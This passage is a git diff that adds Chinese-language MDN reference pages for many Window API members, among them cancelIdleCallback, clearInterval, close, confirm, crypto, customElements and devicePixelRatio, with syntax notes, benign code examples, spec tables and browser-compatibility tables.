{{ CompatGeckoDesktop("11.0") }} {{ property_prefix("moz") }} 

+
10{{ CompatUnknown() }} +

6.0 {{ property_prefix("webkit") }}

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }} +

{{ CompatUnknown() }}

+
{{ CompatGeckoMobile("11.0") }} {{ property_prefix("moz") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

规范

+ +

{{ spec("http://www.w3.org/TR/animation-timing/#cancelAnimationFrame", "Timing control for script-based animations: cancelAnimationFrame", "WD") }}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/cancelidlecallback/index.html b/files/zh-cn/web/api/window/cancelidlecallback/index.html new file mode 100644 index 0000000000..79abf32d93 --- /dev/null +++ b/files/zh-cn/web/api/window/cancelidlecallback/index.html @@ -0,0 +1,107 @@ +--- +title: window.cancelIdleCallback() +slug: Web/API/Window/cancelIdleCallback +tags: + - API + - JavaScript timers + - Window + - cancelIdleCallback +translation_of: Web/API/Window/cancelIdleCallback +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

概述

+ +

 window.cancelIdleCallback() 方法用于取消之前调用{{domxref("window.requestIdleCallback()")}} 的回调。

+ +

语法

+ +
window.cancelIdleCallback(handle);
+ +

参数

+ +
+
handle
+
调用 {{domxref("window.requestIdleCallback()")}}  时返回的 ID.
+
+ +

返回值

+ +

undefined.

+ +

示例

+ +

在文章 Cooperative Scheduling of Background Tasks API 中可以查看 完整示例 。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Background Tasks')}}{{Spec2('Background Tasks')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47)}}{{CompatGeckoDesktop(53)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(47)}}{{CompatChrome(47)}}{{CompatGeckoMobile(53)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Idle callback 在  Firefox 53 中增加, 默认是禁用状态,设置  dom.requestIdleCallback.enabled 为 true启用。 Idle callbacks 再 Firefox 55及之后版本中默认启用。

diff --git a/files/zh-cn/web/api/window/clearimmediate/index.html b/files/zh-cn/web/api/window/clearimmediate/index.html new file mode 100644 index 0000000000..84d84226e6 --- /dev/null +++ b/files/zh-cn/web/api/window/clearimmediate/index.html @@ -0,0 +1,72 @@ +--- +title: window.clearImmediate +slug: Web/API/Window/clearImmediate +translation_of: Web/API/Window/clearImmediate +--- +

{{ ApiRef() }}

+

概述

+

此方法用来清除 {{ domxref("window.setImmediate") }}.

+
+ 注意: 注意: 该方法最近刚刚被微软提出, 可能不会被w3c批准成为标准, 目前只有最新版Internet Explorer实现了该方法.
+

语法

+
window.clearImmediate(immediateID)
+
+

这里的immediateID是由{{ domxref("window.setImmediate") }}返回的.

+

例子

+
var immediateID = setImmediate(function () {
+  // Run some code
+}
+
+document.getElementById("button").addEventListener(function () {
+  clearImmediate(immediateID);
+}, false);
+
+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

相关链接

+

{{ domxref("window.setImmediate") }}

+

{{ spec("https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/setImmediate/Overview.html", "Specification: Efficient Script Yielding") }}

diff --git a/files/zh-cn/web/api/window/clearinterval/index.html b/files/zh-cn/web/api/window/clearinterval/index.html new file mode 100644 index 0000000000..9a2d6e1790 --- /dev/null +++ b/files/zh-cn/web/api/window/clearinterval/index.html @@ -0,0 +1,74 @@ +--- +title: WindowTimers.clearInterval() +slug: Web/API/Window/clearInterval +tags: + - API + - WindowOrWorkerGlobalScope + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

+ +

语法

+ +
scope.clearInterval(intervalID)
+
+ +

Parameters

+ +
+
intervalID
+
要取消的定时器的 ID。是由 setInterval() 返回的。
+
+ +

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

示例

+ +

查看 setInterval() 的示例

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/close/index.html b/files/zh-cn/web/api/window/close/index.html new file mode 100644 index 0000000000..d9904dd794 --- /dev/null +++ b/files/zh-cn/web/api/window/close/index.html @@ -0,0 +1,77 @@ +--- +title: Window.close() +slug: Web/API/Window/close +tags: + - API + - DOM + - Window + - 参考 + - 方法 +translation_of: Web/API/Window/close +--- +
{{APIRef}}
+ +

Window.close() 方法关闭当前窗口或某个指定的窗口。

+ +

该方法只能由 {{domxref("Window.open()")}} 方法打开的窗口的 window 对象来调用。如果一个窗口不是由脚本打开的,那么,在调用该方法时,JavaScript 控制台会出现类似下面的错误:不能使用脚本关闭一个不是由脚本打开的窗口。Scripts may not close windows that were not opened by script.

+ +

同时也要注意,对于由 HTMLIFrame​Element​.content​Window 返回的 {{domxref("Window")}} 对象,close() 也没有效果。

+ +

语法

+ +
window.close();
+ +

例子

+ +

关闭一个由 window.open()方法打开的窗口

+ +

这个例子展示了如何使用这个方法关闭使用 {{domxref("window.open()")}} 打开的窗口

+ +
// 用于存储将要打开的窗口(的引用)的全局变量
+var openedWindow;
+
+function openWindow() {
+  openedWindow = window.open('moreinfo.htm');
+}
+
+function closeOpenedWindow() {
+  openedWindow.close();
+}
+
+ +

关闭当前窗口

+ +

当直接调用 window 对象的 close() 方法而非在一个 window 实例上调用 close() 时,浏览器会关闭最前面的窗口,无论是不是你的脚本创建的这个窗口。(Firefox 35.0.1:脚本不能关闭不是他打开的窗口)

+ +
function closeCurrentWindow() {
+  window.close();
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-window-close', 'window.close()')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "browsers.html#dom-window-close", "Window.close()")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.close")}}

diff --git a/files/zh-cn/web/api/window/closed/index.html b/files/zh-cn/web/api/window/closed/index.html new file mode 100644 index 0000000000..084eeaa92e --- /dev/null +++ b/files/zh-cn/web/api/window/closed/index.html @@ -0,0 +1,59 @@ +--- +title: Window.closed +slug: Web/API/Window/closed +translation_of: Web/API/Window/closed +--- +
{{APIRef}}
+ +

概述

+ +

此只读属性表示所引用的窗口是否关闭。

+ +

语法

+ +
isClosed = windowRef.closed;
+
+ +
+
isClosed
+
一个布尔值。 可能的值: +
    +
  • true: 窗口已被关闭。
  • +
  • false: 窗口是打开的。
  • +
+
+
+ +

示例

+ +

更改一个弹出窗口的URL

+ +

下面的示例演示怎样更改一个已打开的弹出窗口的URL。尝试更改URL之前,它使用window.opener属性来检查有窗口被打开,并且该窗口没有关闭:

+ +
// Check that an opener exists and is not closed
+if (window.opener && !window.opener.closed) {
+  window.opener.location.href = "http://www.mozilla.org";
+}
+ +

请注意,弹出窗口只能访问打开他们的窗口。

+ +

刷新先前打开的弹出窗口

+ +

在这个例子中,函数refreshPopupWindow()调用重载方法的弹出的位置要刷新其数据的对象。如果弹出窗口尚未打开,或者用户已关闭它打开一个新窗口。

+ +
var popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow && !popupWindow.closed) {
+    // popupWindow is open, refresh it
+    popupWindow.location.reload(true);
+  } else {
+    // Open a new popup window
+    popupWindow = window.open("popup.html","dataWindow");
+  }
+}
+
+ +

技术说明

+ +

HTML5

diff --git a/files/zh-cn/web/api/window/confirm/index.html b/files/zh-cn/web/api/window/confirm/index.html new file mode 100644 index 0000000000..5f021b77e9 --- /dev/null +++ b/files/zh-cn/web/api/window/confirm/index.html @@ -0,0 +1,70 @@ +--- +title: Window.confirm() +slug: Web/API/Window/confirm +tags: + - API + - DOM + - React-Router + - Window + - Window.confirm() +translation_of: Web/API/Window/confirm +--- +
{{ApiRef("Window")}}
+ +

Window.confirm() 方法显示一个具有一个可选消息和两个按钮(确定和取消)的模态对话框 。

+ +

语法

+ +
result = window.confirm(message);
+
+ + + +

示例

+ +
if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+
+ +

运行结果: 

+ +

firefox confirm
+  

+ +

注意事项:

+ +

The following text is shared between this article, DOM:window.prompt and DOM:window.alert对话框是弹出式(modal)的(也即alert样式, 译者注). 直到这个对话框被点击后, 后面的脚本才会运行. 请勿滥用此功能, 这里列出了很多个理由: 请放弃使用对话框来确认信息.

+ +

Mozilla Chrome 的用户(比如Firefox插件开发者)应该使用{{interface("nsIPromptService")}}这个方法.

+ +

Chrome浏览器版本 {{CompatChrome(46.0)}} 开始屏蔽内部{{htmlelement("iframe")}}元素, 除非用户在沙箱内开启了allow-modal选项.

+ +

在{{gecko_minversion_inline("23.0")}}内核中, 参数是可选的.

+ +

兼容性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML5 Web application', '#dom-confirm', 'confirm()')}}{{Spec2('HTML5 Web application')}}Initial definition.
+ +

更多

+ + diff --git a/files/zh-cn/web/api/window/console/index.html b/files/zh-cn/web/api/window/console/index.html new file mode 100644 index 0000000000..3e00d38643 --- /dev/null +++ b/files/zh-cn/web/api/window/console/index.html @@ -0,0 +1,49 @@ +--- +title: Window.console +slug: Web/API/Window/console +translation_of: Web/API/Window/console +--- +

{{ APIRef }}

+ +

只读属性Window.console返回一个对{{domxref("Console")}}对象的引用,Window.console提供了向浏览器控制台输出日志信息的方法。这些方法仅应该用于调试,并不应该用来给最终用户呈现信息。

+ +

语法

+ +
var consoleObj = window.console;
+
+ +

示例

+ +

输出信息

+ +

第一个例子向控制台输出文字。

+ +
console.log("An error occurred while loading the content");
+
+ +

下边这个例子向控制台打印一个对象,可以通过点击展开组件查看对象的各项属性。

+ +
console.dir(someObject);
+ +

更多示例参考 {{SectionOnPage("/en-US/docs/Web/API/Console", "Usage")}}。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +
+

当前各种浏览器之间的实现还有很多差异,推动一致的工作也在进行当中。

+
diff --git a/files/zh-cn/web/api/window/content/index.html b/files/zh-cn/web/api/window/content/index.html new file mode 100644 index 0000000000..d3d3f4be3d --- /dev/null +++ b/files/zh-cn/web/api/window/content/index.html @@ -0,0 +1,27 @@ +--- +title: window.content +slug: Web/API/Window/content +translation_of: Web/API/Window/content +--- +

{{ ApiRef() }}

+

概述

+

返回主内容窗口的Window对象.该属性只在包含有属性type="content-primary"<browser> (或者 tabbrowser 或者 <iframe>)标签的XUL窗口下才会用到.最常用到的地方就是Firefox的主窗口, browser.xul. 在这种情况下, content 返回一个浏览器中的当前页面的Window对象的引用.相当于browserRef.contentWindow的快捷方式.

+

在一个非特权的内容窗口中 (网页), content 等同于普通的 top (除非网页是在侧边栏中加载的, content仍然会指向当前标签页中的Window对象).

+

一些旧的代码示例中使用了 _content 而不是 content.该形式的属性名已经被废弃很久了,你应该在新的代码中使用content.

+

语法

+
var windowObject = window.content;
+
+

例子

+

在一个拥有<browser type="content-primary"/>标签的chrome XUL 窗口下运行下面的代码.会在浏览器当前显示的页面上的第一个div标签上添加一个红色的边框:

+
content.document.getElementsByTagName("div")[0].style.border = "solid red 1px";
+
+

规范

+

不属于W3C规范.

+

相关链接

+ +
+  
+

{{ languages( { "fr": "fr/DOM/window.content", "ja": "ja/DOM/window.content", "pl": "pl/DOM/window.content" } ) }}

diff --git a/files/zh-cn/web/api/window/controllers/index.html b/files/zh-cn/web/api/window/controllers/index.html new file mode 100644 index 0000000000..972c1fd452 --- /dev/null +++ b/files/zh-cn/web/api/window/controllers/index.html @@ -0,0 +1,45 @@ +--- +title: Window.controllers +slug: Web/API/Window/controllers +tags: + - API + - HTML DOM + - NeedsCompatTable + - NeedsExample + - NeedsMarkupWork + - XUL + - 参考 + - 属性 + - 窗口 + - 非标准 +translation_of: Web/API/Window/controllers +--- +
{{APIRef}}{{non-standard_header}}
+ +

{{domxref("Window")}} 接口的 controllers 属性返回 chorme 窗口的 XUL 控制器。

+ +

语法

+ +
controllers = window.controllers
+
+ + + +

规范

+ +

XUL-专有属性,不属于任何规范。

+ +
+

默认情况下,窗口的控制器包含支持全局窗口命令的代码。

+ +

chrome 代码可以添加控制器(与 globalOverlay.js 中的 goDoCommandgoUpdateCommand 函数配合使用)。

+ +

然而,浏览器窗口被关闭时,我们必须手动删除这些添加的控制器,因为浏览器并不会自动完成这些操作。

+ +

如果有忘记删除的控制器,则会导致错误:

+bug 415775: + +
ASSERTION: XPConnect is being called on a scope without a 'Components' property!
+
diff --git a/files/zh-cn/web/api/window/copy_event/index.html b/files/zh-cn/web/api/window/copy_event/index.html new file mode 100644 index 0000000000..b2797de03e --- /dev/null +++ b/files/zh-cn/web/api/window/copy_event/index.html @@ -0,0 +1,72 @@ +--- +title: 'Window: copy event' +slug: Web/API/Window/copy_event +tags: + - API + - Clippboard API + - copy +translation_of: Web/API/Window/copy_event +--- +
{{APIRef}}
+ +

当用户通过浏览器的用户界面启动复制操作时,将触发 copy 事件。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(支持冒泡)Yes
Cancelable(可撤销)Yes
Interface(接口){{domxref("ClipboardEvent")}}
Event handler property(事件处理程序属性){{domxref("HTMLElement/oncopy", "oncopy")}}
+ +

此事件的原始目标是 {{domxref("Element")}} 它是复制操作的预期目标。您可以在 {{domxref("Window")}} 界面上监听此事件,以在捕获或冒泡阶段对其进行处理。 有关此事件的完整详细信息,请参见 Element: copy event.

+ +

示例

+ +
window.addEventListener('copy', (event) => {
+    console.log('copy action initiated')
+});
+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('Clipboard API', '#clipboard-event-copy')}}{{Spec2('Clipboard API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.copy_event")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/crypto/index.html b/files/zh-cn/web/api/window/crypto/index.html new file mode 100644 index 0000000000..d8a732b86e --- /dev/null +++ b/files/zh-cn/web/api/window/crypto/index.html @@ -0,0 +1,117 @@ +--- +title: Window.crypto +slug: Web/API/Window/crypto +translation_of: Web/API/Window/crypto +--- +
{{APIRef}}
+ +

Window.crypto只读属性返回与全局对象关联的 {{domxref("Crypto")}}对象。 此对象允许网页访问某些加密相关服务。

+ +

语法

+ +
var cryptoObj = window.crypto || window.msCrypto; // for IE 11
+
+ +

范例

+ +

使用 {{domxref("Window.crypto")}} 来访问getRandomValues() 方法.

+ +

JavaScript

+ +
genRandomNumbers = function getRandomNumbers() {
+  var array = new Uint32Array(10);
+  window.crypto.getRandomValues(array);
+
+  var randText = document.getElementById("myRandText");
+  randText.innerHTML = "The random numbers are: "
+  for (var i = 0; i < array.length; i++) {
+    randText.innerHTML += array[i] + " ";
+  }
+}
+
+ +

HTML

+ +
<p id="myRandText">随机数字: </p>
+<button type="button" onClick='genRandomNumbers()'>生成10个随机数字</button>
+ +

结果

+ +

{{ EmbedLiveSample('Example') }}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态批注
{{SpecName("Web Crypto API", "#dfn-GlobalCrypto", "Window.crypto")}}{{Spec2("Web Crypto API")}}Initial definition
+ +

浏览器支持

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support44 {{CompatVersionUnknown}}{{CompatVersionUnknown}}11 {{property_prefix("ms")}}2019{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChrome for AndroidFirefox MobileFirefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/window/customelements/index.html b/files/zh-cn/web/api/window/customelements/index.html new file mode 100644 index 0000000000..c53e5f8b48 --- /dev/null +++ b/files/zh-cn/web/api/window/customelements/index.html @@ -0,0 +1,61 @@ +--- +title: Window.customElements +slug: Web/API/Window/customElements +tags: + - API + - CustomElementRegistry + - Property + - Reference + - Web Components + - Window + - custom elements + - customElements +translation_of: Web/API/Window/customElements +--- +
{{APIRef}}
+ +

customElements 是{{domxref("Window")}}对象上的一个只读属性,接口返回一个{{domxref("CustomElementRegistry")}} 对象的引用,可用于注册新的 custom elements,或者获取之前定义过的自定义元素的信息。

+ +

例子

+ +

这个属性最常用的例子是用来获取使用{{domxref("CustomElementRegistry.define()")}}方法定义和注册的自定义元素,例如:

+ +
let customElementRegistry = window.customElements;
+customElementRegistry.define('my-custom-element', MyCustomElement);
+ +

However, it is usually shortened to something like the following:

+ +
customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      const template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+  }
+});
+ +

参阅我们的 web-components-examples 获取更多有用的例子。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "custom-elements.html#dom-window-customelements", "window.customElements")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Window.customElements")}}

diff --git a/files/zh-cn/web/api/window/defaultstatus/index.html b/files/zh-cn/web/api/window/defaultstatus/index.html new file mode 100644 index 0000000000..97e48af30e --- /dev/null +++ b/files/zh-cn/web/api/window/defaultstatus/index.html @@ -0,0 +1,44 @@ +--- +title: Window.defaultStatus +slug: Web/API/Window/defaultStatus +tags: + - HTML DOM对象 + - 接口 +translation_of: Web/API/Window/defaultStatus +--- +

{{ obsolete_header(23) }}

+ +

{{ APIRef() }}

+ +

Summary

+ +

获取或设置给定窗口的状态栏文本。

+ +

Syntax

+ +
var sMsg = window.defaultStatus;
+window.defaultStatus = sMsg;
+
+ +

Parameters

+ + + +

Example

+ +
<html>
+ <body onload="window.defaultStatus='hello!';"/>
+  <button onclick="window.confirm('你确定要退出?');">confirm</button>
+ </body>
+</html>
+
+ +

Notes

+ +

页面HTML加载完成后要设置状态栏内容可以使用  window.status.

+ +

Specification

+ +

HTML5

diff --git a/files/zh-cn/web/api/window/deviceorientation_event/index.html b/files/zh-cn/web/api/window/deviceorientation_event/index.html new file mode 100644 index 0000000000..4b36867f04 --- /dev/null +++ b/files/zh-cn/web/api/window/deviceorientation_event/index.html @@ -0,0 +1,165 @@ +--- +title: deviceorientation +slug: Web/API/Window/deviceorientation_event +translation_of: Web/API/Window/deviceorientation_event +--- +

deviceorientation 事件在方向传感器输出新数据的时候触发。其数据系传感器与地球坐标系相比较所得,也就是说在设备上可能会采用设备地磁计的数据。详情参考有关方向与运动信息的说明(Orientation and motion data explained)

+ +

常规信息

+ +
+
标准
+
Orientation
+
接口
+
DeviceOrientationEvent
+
冒泡
+
+
可取消
+
+
Target
+
DefaultView (window)
+
默认操作
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not?
alpha {{readonlyInline}}double (float)The current orientation of the device around the Z axis; that is, how far the device is rotated around a line perpendicular to the device.
beta {{readonlyInline}}double (float)The current orientation of the device around the X axis; that is, how far the device is tipped forward or backward.
gamma {{readonlyInline}}double (float)The current orientation of the device around the Y axis; that is, how far the device is turned left or right.
absolute {{readonlyInline}}{{jsxref("boolean")}}This value is true if the orientation is provided as a difference between the device coordinate frame and the Earth coordinate frame; if the device can't detect the Earth coordinate frame, this value is false.
+ +

例子

+ +
if (window.DeviceOrientationEvent) {
+    window.addEventListener("deviceorientation", function(event) {
+        // alpha: 在Z轴上的角度
+        var rotateDegrees = event.alpha;
+        // gamma: 从左到右
+        var leftToRight = event.gamma;
+        // beta: 从前到后的运动
+        var frontToBack = event.beta;
+
+        handleOrientationEvent(frontToBack, leftToRight, rotateDegrees);
+    }, true);
+}
+
+var handleOrientationEvent = function(frontToBack, leftToRight, rotateDegrees) {
+    // 弹奏一曲夏威夷吉他
+};
+
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本功能支持7.03.6[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本功能支持3.03.6[1]{{CompatNo}}124.2
+
+ +

[1] Firefox 3.6, 4, 和 5 支持 mozOrientation 这一类似 DeviceOrientation 的事件。

+ +

相关事件

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/window/devicepixelratio/index.html b/files/zh-cn/web/api/window/devicepixelratio/index.html new file mode 100644 index 0000000000..a5976667d9 --- /dev/null +++ b/files/zh-cn/web/api/window/devicepixelratio/index.html @@ -0,0 +1,179 @@ +--- +title: Window.devicePixelRatio +slug: Web/API/Window/devicePixelRatio +translation_of: Web/API/Window/devicePixelRatio +--- +

{{APIRef}}

+ +

{{domxref("Window")}} 接口的devicePixelRatio返回当前显示设备的物理像素分辨率与CSS像素分辨率之比。 此值也可以解释为像素大小的比率:一个CSS像素的大小与一个物理像素的大小。 简单来说,它告诉浏览器应使用多少屏幕实际像素来绘制单个CSS像素。

+ +

当处理标准显示器与HiDPI或Retina显示器之间的差异时,这很有用,后者使用更多的屏幕像素绘制相同的对象,从而获得更清晰的图像。

+ +

您可以使用{{domxref("Window.matchMedia", "window.matchMedia()")}} 检查devicePixelRatio的值是否发生更改(例如,如果用户将窗口拖动到带有 不同的像素密度)。 请参阅{{anch("Monitoring screen resolution or zoom level changes", "下面的例子")}}.。

+ +

语法

+ +
value = window.devicePixelRatio;
+
+ +

值Value

+ +

一个双精度浮点值,指示显示器的物理像素分辨率与CSS像素分辨率之比。 值1表示经典96 DPI(在某些平台上为76 DPI)显示,而对于HiDPI / Retina显示屏则期望值为2。 在异常低分辨率的显示器中,或更常见的是,当屏幕的像素深度比简单地将96或76 DPI的标准分辨率提高一倍时,可能还会返回其他值。

+ +

例子

+ +

在 <canvas> 中更正分辨率

+ +

{{htmlelement("canvas")}}可能在视网膜屏幕上显得太模糊。 使用window.devicePixelRatio确定应添加多少额外的像素密度以使图像更清晰。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Set display size (css pixels).
+var size = 200;
+canvas.style.width = size + "px";
+canvas.style.height = size + "px";
+
+// Set actual size in memory (scaled to account for extra pixel density).
+var scale = window.devicePixelRatio; // Change to 1 on retina screens to see blurry canvas.
+canvas.width = Math.floor(size * scale);
+canvas.height = Math.floor(size * scale);
+
+// Normalize coordinate system to use css pixels.
+ctx.scale(scale, scale);
+
+ctx.fillStyle = "#bada55";
+ctx.fillRect(10, 10, 300, 300);
+ctx.fillStyle = "#ffffff";
+ctx.font = '18px Arial';
+ctx.textAlign = 'center';
+ctx.textBaseline = 'middle';
+
+var x = size / 2;
+var y = size / 2;
+
+var textString = "I love MDN";
+ctx.fillText(textString, x, y);
+ +

This image describe the impact of different value on retina display.

+ +

监视屏幕分辨率或缩放级别的更改

+ +

在此示例中,我们将设置一个媒体查询并观看它以查看设备分辨率何时更改,以便我们可以检查devicePixelRatio的值来处理所需的任何更新。

+ +

JavaScript

+ +

JavaScript代码创建媒体查询,以监控设备分辨率并在每次更改时检查devicePixelRatio的值。

+ +
let pixelRatioBox = document.querySelector(".pixel-ratio");
+let mqString = `(resolution: ${window.devicePixelRatio}dppx)`;
+
+const updatePixelRatio = () => {
+  let pr = window.devicePixelRatio;
+  let prString = (pr * 100).toFixed(0);
+  pixelRatioBox.innerText = `${prString}% (${pr.toFixed(2)})`;
+}
+
+updatePixelRatio();
+
+matchMedia(mqString).addListener(updatePixelRatio);
+
+ +

字符串mqString设置为媒体查询本身。 媒体查询以(resolution: 1dppx)(对于标准显示)或(resolution: 2dppx)(对于Retina / HiDPI显示)开始,检查当前显示分辨率是否与每个像素px的实际设备像素点匹配。

+ +

updatePixelRatio()函数获取devicePixelRatio的当前值,然后将pixelRatioBox的 {{domxref("HTMLElement.innerText", "innerText")}}设置为一个字符串,该字符串同时显示百分比和原始十进制值比率,最多两位小数。

+ +

然后,调用updatePixelRatio()函数一次以显示起始值,然后使用{{domxref("Window.matchMedia", "matchMedia()")}} 和 {{domxref("EventTarget.addEventListener", "addEventListener()")}}来将updatePixelRatio()设置为change事件的处理程序。

+ +

HTML

+ +

HTML将创建包含说明的框和将显示当前像素比率信息的pixel-ratio 框。

+ +
<div class="container">
+  <div class="inner-container">
+    <p>This example demonstrates the effect of zooming the page in
+       and out (or moving it to a screen with a different scaling
+       factor) on the value of the property <code>Window.devicePixelRatio</code>.
+       Try it and watch what happens!</p>
+  </div>
+    <div class="pixel-ratio"></div>
+</div>
+ +
+

CSS

+
+ +
body {
+  font: 22px arial, sans-serif;
+}
+
+.container {
+  top: 2em;
+  width: 22em;
+  height: 14em;
+  border: 2px solid #22d;
+  margin: 0 auto;
+  padding: 0;
+  background-color: #a9f;
+}
+
+.inner-container {
+  padding: 1em 2em;
+  text-align: justify;
+  text-justify: auto;
+}
+
+.pixel-ratio {
+  position: relative;
+  margin: auto;
+  height: 1.2em;
+  text-align: right;
+  bottom: 0;
+  right: 1em;
+  font-weight: bold;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Monitoring_screen_resolution_or_zoom_level_changes", "100%", 500)}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-devicepixelratio", "Window.devicePixelRatio")}}{{Spec2("CSSOM View")}}Initial definition
+ +

浏览器兼容性

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.Window.devicePixelRatio")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/dialogarguments/index.html b/files/zh-cn/web/api/window/dialogarguments/index.html new file mode 100644 index 0000000000..d26d56a819 --- /dev/null +++ b/files/zh-cn/web/api/window/dialogarguments/index.html @@ -0,0 +1,25 @@ +--- +title: Window.dialogArguments +slug: Web/API/Window/dialogArguments +tags: + - API + - Deprecated + - HTML DOM + - NeedsCompatTable + - NeedsExample + - NeedsMarkupWork + - NeedsSpecTable + - Property + - Reference + - Window +translation_of: Web/API/Window/dialogArguments +--- +

{{ Fx_minversion_header(3) }} {{ deprecated_header() }}{{APIRef}}

+ +

摘要

+ +

dialogArguments 属性返回{{domxref("window.showModalDialog()")}} 方法传递的参数。 这可以让你确定在创建模态对话框时指定了哪些参数。

+ +

语法

+ +
value = window.dialogArguments;
diff --git a/files/zh-cn/web/api/window/directories/index.html b/files/zh-cn/web/api/window/directories/index.html new file mode 100644 index 0000000000..ea480aa14d --- /dev/null +++ b/files/zh-cn/web/api/window/directories/index.html @@ -0,0 +1,34 @@ +--- +title: Window.directories +slug: Web/API/Window/directories +translation_of: Web/API/Window/directories +--- +

{{ obsolete_header("2.0") }}

+ +

{{ APIRef() }}

+ +

概述

+ +

